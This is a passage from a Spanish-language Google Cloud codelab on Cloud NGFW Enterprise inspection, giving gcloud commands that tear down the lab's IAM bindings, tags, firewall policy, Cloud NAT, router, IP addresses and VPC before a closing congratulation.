gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Quita la clave y los valores de la etiqueta:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-quarantine

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Borra la política de red de firewall de Cloud y la asociación:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Borra Cloud Router y Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Borra las direcciones IP reservadas:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Por último, borra la subred y la red de VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. ¡Felicitaciones!

Felicitaciones, completaste correctamente el codelab Cloud NGFW Enterprise para inspección este-oeste y norte-sur.